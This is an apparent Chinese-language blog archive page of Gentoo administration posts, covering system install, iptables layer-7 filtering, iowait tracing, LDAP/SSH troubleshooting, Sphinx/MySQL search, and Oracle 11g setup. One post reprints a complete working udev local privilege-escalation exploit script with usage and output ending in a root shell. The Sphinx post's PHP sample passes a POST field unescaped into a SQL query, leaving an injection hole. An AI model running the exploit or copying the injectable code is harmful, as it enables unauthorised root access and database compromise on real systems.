分类存档: Gentoo - 第2页

一个支持iptables+l7filter的gentoo的安装过程

制作32位源系统:

使用gentoo-x86的livecd引导,使用fdisk对磁盘进行分区,下载stage3的包以及最新的portage的snapshot。
install-x86-minimal-2008.0.iso
stage3-i686-hardened-2008.0.tar.bz2
portage-latest.tar.bz2

在livecd环境下:
挂载目标系统:
mount /dev/sda1 /mnt/gentoo
解压缩stage3的包和portage的包到相应的目录:
tar jxpvf stage3-i686-hardended-2008.0.tar.bz2 -C /mnt/gentoo
tar jxpvf portage-latest.tar.bz2 -C /mnt/gentoo/usr

修改编译目标系统相关文件参数:
#—————————————————-
#      /etc/make.conf
#—————————————————-
CFLAGS=”-mtune=i686 -Os -pipe ”
CXXFLAGS=”-mtune=i686 -Os -pipe ”
CHOST=”i686-pc-linux-gnu”
MAKEOPTS=”-j2″
FEATURES=”ccache buildpkg”
USE=”minimal”

#—————————————————-
#      /etc/portage/package.use
#—————————————————-
net-firewall/iptables l7filter

#—————————————————-
#      /etc/portage/package.keywords
#—————————————————-
sys-devel/gcc ~x86
sys-apps/baselayout ~x86
sys-apps/openrc ~x86
sys-apps/sysvinit ~x86
net-misc/l7-filter ~x86
net-misc/dropbear ~x86

#—————————————————-
#      /etc/portage/package.mask
#—————————————————-
>net-firewall/iptables-1.4.3

#—————————————————-
#      /etc/portage/package.unmask
#—————————————————-
net-misc/l7-filter

挂载proc和dev:
mount -t proc proc /mnt/gentoo/proc
mount -o bind /dev /mnt/gentoo/dev

更新目标系统
chroot到目标系统:
chroot /mnt/gentoo /bin/bash
设置环境变量:
env-update && source /etc/profile
更新portage树:
emerge –sync
编译ccache:
emerge ccache
更新portage包管理软件:
emerge -av portage gentoolkit
更新gcc:
emerge -av gcc
选择新的gcc:
gcc-config
更新系统:
emerge -avuD world
安装grub,genkernel,gentoo-sources:
emerge genkernel grub gentoo-sources
选择内核:
eselect kernel list
eselect kernel set …
编译和安装内核:
genkernel –menuconfig –bootloader=grub all
如果genkernel中出现grub无法安装启动文件,那么就需要手动安装硬盘的引导。
grub << EOF
root (hd0,0)
setup (hd0)
quit
EOF
然后在设置完root的密码之后就可以重新启动系统了。

编译iptables支持7层过滤得方法:
上面已经对编译l7filter所需要的包进行了解锁:
编译l7-filter
emerge l7-filter
copy内核patch到/usr/src/linux
cp -Rpv /var/tmp/portage/net-misc/l7-filter/image/* /
重新编译内核:
genkernel –menuconfig –bootloader=grub all
选择:
Networking support  —>
Networking options  —>
Network packet filtering framework (Netfilter)  —>
Core Netfilter Configuration  —>
“layer7″ match support

然后编译iptables:
emerge iptables

openrc设置时区的方法:
#———————————————
#         /etc/conf.d/hwclock
#———————————————
clock=”local”

复制想要的时区文件到/etc/localtime
cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

emerge之秘籍

如果从系统已经安装的软件中生成2进制包,那么可以用

quickpkg 软件名

emerge -b 生成2进制包,并且将软件安装进系统

emerge -B 只编译并生成2进制包

如果想自动创建二进制包

修改/etc/make.conf 加入

FEATURES=”buildpkg”

生成的编译好的软件包位于/usr/portage/packages/,安装方法: tar -jxvfp soft.tbz2 -C /

linux下抓出哪个进程造成的iowait很高的方法

在本机测试通过^^
抓哪个进程干坏事前要先停掉syslog
/etc/init.d/rsyslog stop
echo 1 > /proc/sys/vm/block_dump
dmesg | egrep “READ|WRITE|dirtied” | egrep -o ‘([a-zA-Z]*)’ | sort | uniq -c | sort -rn | head
1423 kjournald
1075 pdflush
209 indexer
3 cronolog
1 rnald
1 mysqld
不要忘记在抓完之后关掉block_dump和启动syslog
echo 0 > /proc/sys/vm/block_dump
/etc/init.d/rsyslog start

gentoo udev提升权限漏洞- -!!

使用Gentoo操作系统并且udev版本在udev-124-r2版本以下的要小心了^^

http://www.gentoo.org/security/en/glsa/glsa-200904-18.xml

系统版本:  Gentoo 2008 amd64 system

最后一次emerge world时间:  2009.3.18

udev版本:  =sys-fs/udev-124-r1

攻击代码:

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

	sleep(10);
	execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]

使用方法:  普通用户执行上面的shell脚本.

返回结果:

 X86-64  afc@chinabidi ~ $ ps aux | grep udevd
root     17497  0.0  0.0  12348   688 ?        S<s  23:12   0:00 /sbin/udevd --daemon
afc      17824  0.0  0.0   3908   584 pts/1    R+   23:13   0:00 grep --colour=auto udevd
 X86-64  afc@chinabidi ~ $ ./exploits.sh 17496
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2#

gentoo下ssh不能通过ldap验证的错误

错误信息:

Feb 27 10:14:09 tj1clnxweb0001 sshd(pam_unix)[24920]: check pass; user unknown
Feb 27 10:14:09 tj1clnxweb0001 sshd(pam_unix)[24920]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=localhost
Feb 27 10:14:11 tj1clnxweb0001 sshd[24839]: error: PAM: Authentication failure for illegal user haoxinzhou from localhost
Feb 27 10:14:11 tj1clnxweb0001 sshd[24839]: Failed keyboard-interactive/pam for invalid user haoxinzhou from 127.0.0.1 port 36798 ssh2

很努力的查了2天,搜遍google文档,抓包分析,然后update了openssh,pam_ldap,nss_ldap,openldap等,未果,后来在某个小角落里看到一句话:

nscd is NOT running
Also, I disabled SELINUX

然后/etc/init.d/nscd stop

问题解决…..

感谢这个兄弟的问题:-)

http://forums.fedoraforum.org/archive/index.php/t-67887.html

sphinx,mysql 应用

朋友的网站一直使用select xxx from xxx where aaa like ‘%bbb%’语句做全文检索,随数据越来越多,检索的速度非常….非常的慢,遂产生动手的欲望,以下只是为了记录下过程:

操作系统为Gentoo 2008.0 amd64.

sphinx版本使用的是coreseek修改的支持中文检索的版本,中文词库使用 coreseek开发的libmmseg

mysql受sphinx中sphinxse引擎要求安装了mysql-5.0.37做生产环境的mysql-5.0.70的从库

编译sphinx,libmmseg以及mysql:

编译安装libmmseg:

./configure --prefix=/data/app/mmseg && make -j5 && make install

copy 解压缩后的sphinx目录中的mysqlse中的文件到mysql下的sql/sphinx/中

给mysql打sphinx的补丁

patch -p1 < sql/sphinx/sphinx.5.0.37.diff

编译mysql:

./configure --prefix=/data/app/mysql --enable-assembler --with-extra-charsets=complex --enable-thread-safe-client --with-readlin
e --with-big-tables --enable-local-infile --with-sphinx-storage-engine --without-innobase
make -j5 && make install

编译sphinx

CPPFLAGS=-I/usr/include/python2.5 LDFLAGS=-lpython2.5 ./configure --prefix=/data/app/sphinx --with-mysql=/data/app/mysql --with-mmse
g=/data/app/mmseg --with-mmseg-includes=/data/app/mmseg/include/mmseg --with-mmseg-libs=/data/app/mmseg/lib
make -j5 && make install

配置mysql主从.

master -> slave

生成字典文件:

mmseg -u unigram.txt
mv unigram.txt.lib /data/app/dict/uni.lib

配置sphinx.conf

source source_name {...} #做全文检索的内容源
source source_name_increase:source_name {...} #做增量检索的源
index index_name {...} #做索引的配置
index index_name_increase:index_name {...} #做增量索引的配置
indexer {...} #indexer进程的设置
searched {...} #searched进程的设置

建立在增量索引需要使用的数据表以及SPHINX引擎需要的表:

CREATE TABLE `sphcounter` (
  `counterid` int(11) NOT NULL,
  `max_doc_id` int(11) NOT NULL,
  PRIMARY KEY  (`counterid`)
) ENGINE=MyISAM

CREATE TABLE `sphinx` (
  `id` int(11) NOT NULL,
  `weight` int(11) NOT NULL,
  `query` varchar(255) NOT NULL,
  KEY `Query` (`query`)
) ENGINE=SPHINX DEFAULT CHARSET=utf8 CONNECTION='sphinx://localhost:3312/cbid_index';

建立启动脚本以及建立索引的脚本:

sphinx.init

#!/bin/bash
/data/app/sphinx/bin/indexer --all --config /data/app/sphinx/etc/sphinx.conf

sphinx.increase

#!/bin/bash
/data/app/sphinx/bin/searchd --stop
/data/app/sphinx/bin/indexer cbid_index_stremmed --config /data/app/sphinx/etc/sphinx.conf
/data/app/sphinx/bin/indexer --merge cbid_index cbid_index_stremmed --config /data/app/sphinx/etc/sphinx.conf
/data/app/sphinx/bin/searchd

启动所有的服务,然后测试:

<?php
$keyword = $_POST['keyword'];
if($_POST['keyword'] != '')
{
$link = mysql_connect('localhost:/tmp/mysql.sock', 'root', 'xxxxxxxx') or die ("can't connect database");
$db_select = mysql_select_db('dba', $link);
$result = mysql_query("SELECT * FROM `dba`.`article` JOIN `sphinx`.`sphinx` ON ( dba.article.art_id = sphinx.sphin
x.id ) WHERE query = '$keyword; limit=10000' AND dba.article.is_show = '1' ORDER BY id DESC ") or die ("sphinx Maintenance ing ...");
while($rows = mysql_fetch_array($result))
{
$pub_date = date('Y-m-d', $rows["pub_date"]);
printf("<a href=article.php?aid=%s>%s</a> %s <br \>", $rows["art_id"],$rows["art_name"],$pub_date);
}
mysql_free_result($result);
mysql_close($link);
}
?>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
<form name="search" method="post" action="newsearch.php">
<input type="text" name="keyword">
<input type="submit" vilue="search">
</body>
</html>

参考如下:

http://dev.cgfinal.com/sphinx/sphinx.html
http://blog.tom.com/benge_zhao/article/5052.html
http://www.sphinxsearch.com

dmesg中出现网卡 Hardware Error .

新的服务器的网卡跑一段时间就会自己down掉,/var/log/message中的信息显示

0000:05:00.0: eth0: Link is Down
0000:05:00.0: eth0: Link is Up 100 Mbps Full Duplex, Flow Control: None
0000:05:00.0: eth0: 10/100 speed: disabling TSO

dmesg后发现:

Intel(R) PRO/1000 Network Driver - version 7.3.20-k2
Copyright (c) 1999-2006 Intel Corporation.
e1000e: Intel(R) PRO/1000 Network Driver - 0.2.0
e1000e: Copyright (c) 1999-2007 Intel Corporation.
ACPI: PCI Interrupt 0000:05:00.0[A] -> GSI 18 (level, low) -> IRQ 18
PCI: Setting latency timer of device 0000:05:00.0 to 64
0000:05:00.0: Hardware Error
eth0: (PCI Express:2.5GB/s:Width x4) 00:15:17:61:64:9c
eth0: Intel(R) PRO/1000 Network Connection
eth0: MAC: 3, PHY: 5, PBA No: 400000-000
ACPI: PCI Interrupt 0000:05:00.1[B] -> GSI 19 (level, low) -> IRQ 19
PCI: Setting latency timer of device 0000:05:00.1 to 64
eth1: (PCI Express:2.5GB/s:Width x4) 00:15:17:61:64:9d
eth1: Intel(R) PRO/1000 Network Connection
eth1: MAC: 3, PHY: 5, PBA No: 400000-000

gentoo的内核升级到2.6.27-r7后解决.

参考: http://linux.derkeiler.com/Mailing-Lists/Kernel/2008-10/msg02446.html

emerge mod_jk tomcat

以前更新过python,执行过python-updater但是安装的时候碰到了
ImportError: No module named java_config_2
解决方法:
emerge -1 java-config:2 java-config-wrapper

5W1H

  • Why: 为什么制定该策略?/是什么引发的?/什么需求导致的问题?

  • What: 达到什么目标?/如何完成?/问题的涉及范畴?

  • Where: 在何处执行?/在哪儿发生的?/足够的环境信息

  • Who: 由谁负责完成?/谁发现的?/原始URL?

  • When: 什么时间完成?/什么时候发生的?/什么触发的?

  • How: 如何完成?/怎么样算完成?/你进行了哪些尝试?
  • Gentoo下安装Oracle 11g

    折腾了一个下午,终于在gentoo下安装成功。安装过程都是记忆中仅存的,系统环境为去年某时装的gentoo 2007.0 amd64,由于gentoo下没有安装桌面环境,所以在一台windows的机器上装了xming,设置xming的启动参数增加-ac,否则gentoo在设置了DISPLAY后会提示connect refuse的信息。

    安装前的准备工作:

    1: 增加用户和组

    groupadd -g 10000 dba

    groupadd -g 10001 oinstall

    useradd -u 10000 -g dba -G dba,oinstall -s /sbin/bash -m -d /oracle oracle

    2:安装一些需要(也许需要,因为除了错误就找解决的方法,安装了以下的)软件包

    emerge sun-jdk libaio logger libstdc++-v3 app-emulation/emul-linux-x86-baselibs app-emulation/emul-linux-x86-xlibs

    3:设置oracle用户的.bash_profile

    export ORACLE_BASE=/oracle
    export ORACLE_HOME=$ORACLE_BASE/11g
    export ORA_CRS_HOME=$ORACLE_BASE/crs
    export ORACLE_PATH=$ORACLE_BASE/common/oracle/sql:.:$ORACLE_HOME/rdbms/admin
    export ORACLE_SID=orcl1
    export PATH=$ORACLE_HOME/bin:$ORA_CRS_HOME/bin:${PATH}:$HOME/bin
    export PATH=${PATH}:/usr/bin:/bin:/usr/bin/X11:/usr/local/bin
    export PATH=${PATH}:$ORACLE_BASE/common/oracle/bin
    export ORACLE_TERM=xterm
    export TNS_ADMIN=$ORACLE_HOME/network/admin
    export ORA_NLS10=$ORACLE_HOME/nls/data
    export LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/lib:/usr/lib:/usr/local/lib:$ORACLE_HOME/oracm/lib:$ORACLE_HOME/lib
    export LIBPATH=$LIBPATH:$ORA_CRS_HOME/lib:$ORACLE_HOME/lib
    export CLASSPATH=${CLASSPATH}:$ORACLE_HOME/rdbms/jlib:$ORACLE_HOME/jlib:$ORACLE_HOME/network/jlib:$ORACLE_HOME/JRE
    export THREADS_FLAG=native
    export TEMP=/tmp
    export TMPDIR=/tmp
    export NLS_LANG=american_america.WE8ISO8859P1
    export DISPLAY=10.60.4.137:0
    export EDITOR=vi

    4:sysctl

      kernel.shmall = 2097152
      kernel.shmmax = 2147483648 
    
      kernel.shmmni = 4096
      kernel.sem = 250 32000 100 128 
    
      fs.file-max = 65536
      net.ipv4.ip_local_port_range = 1024 65000 
    
      net.core.rmem_default=262144
      net.core.wmem_default=262144 
    
      net.core.rmem_max=262144
      net.core.wmem_max=262144

    5:安装oracle

    su – oracle

    cd database

    ./runInstaller

    安装过程中碰到的问题:

    Error 1:
        undefined reference to __pthread_unwind@GLIBC_PRIVATE
    解决方法:
        编辑$ORACLE_HOME/lib/sysliblist,在-ldl -lm -lpthread -lnsl -lirc -lipgo后加-lrt
    
    Error 2:
        cannot find -lagtsh
    解决方法:
        将database/stage/Components/oracle.rdbms.util/11.1.0.6.0/1/DataFiles/filegroup14.jar文件解压缩,copy 32位的libagtsh.so.1.0文件到$ORACLE_HOME/lib32目录中
    
    Error 3:
        skipping incompatible /usr/lib64/libpthread_nonshared.a when searching for /usr/lib64/libpthread_nonshared.a
    解决方法:
        修改$ORACLE_HOME/bin/genclntsh:
           [ "$1" = "lib32" ] && ULIB="lib32" && LOOP="DONE" && CF=-m32 && USRLIB32=-L/usr/lib32
           LD="gcc ${CF} -shared -Wl,-relax ${STUBS} ${USRLIB32} -L${OLIB}"
        修改$ORACLE_HOME/bin/genagtsh:
           if [ $1 != "-32" ]; then
           LIB_NAME=$1 # Library name
           LIB_VER=$2 # Library version number
           LIB=lib
           NON64_LDOPT=
           USRLIB32=
           else
           LIB_NAME=$2 # Library name
           LIB_VER=$3 # Library version number
           LIB=lib32
           LOOP="done"
           NON64_LDOPT="-m32"
           USRLIB32=-L/usr/lib32
           fi
    
           LD="gcc ${NON64_LDOPT} -shared ${USRLIB32} -L${ORACLE_HOME}/${LIB} -L${ORACLE_HOME}/${LIB}/stubs"
       修改$ORACLE_HOME/ctx/lib/env_ctx.mk:
           LDFLAGS32=$(AMD32FLAGS) -o $@ -L/usr/lib32 $(LDPATHFLAG)$(PRODLIBHOME32) $(LDPATHFLAG)$(LIBHOME32) $(LDPATHFLAG)$(LIBHOME32)stubs/
       修改$ORACLE_HOME/rdbms/lib/env_rdbms.mk:
           REDEFINES32=LIBDIR=lib32 LDFLAGS='-m32 -o $$@ -L/usr/lib32 $$(LDPATHFLAG)$$(PRODLIBHOME) $$(LDPATHFLAG)$$(LIBHOME) $$(LDPATHFLAG)$$(LIBHOME)stubs/'
    
    Error 4:
        cannot find -lclntsh
    解决方法:
        下载oracle client 32bit的zip包,解压缩,然后将client/stage/Components/oracle.rdbms.ic/11.1.0.6.0/1/DataFiles/filegroup4.jar文件解压缩,copy 32位的libclntsh.so.11.1文件到$ORACLE_HOME/lib32目录中
    
    Error 5:
        gcc: /usr/lib64/libstdc++.so.6: No such file or directory
    解决方法:
        cd /usr/lib64/ ; ln -s libstdc++.so.5 libstdc++.so.6

    参考:

    http://forums.gentoo.org/viewtopic-p-4883219.html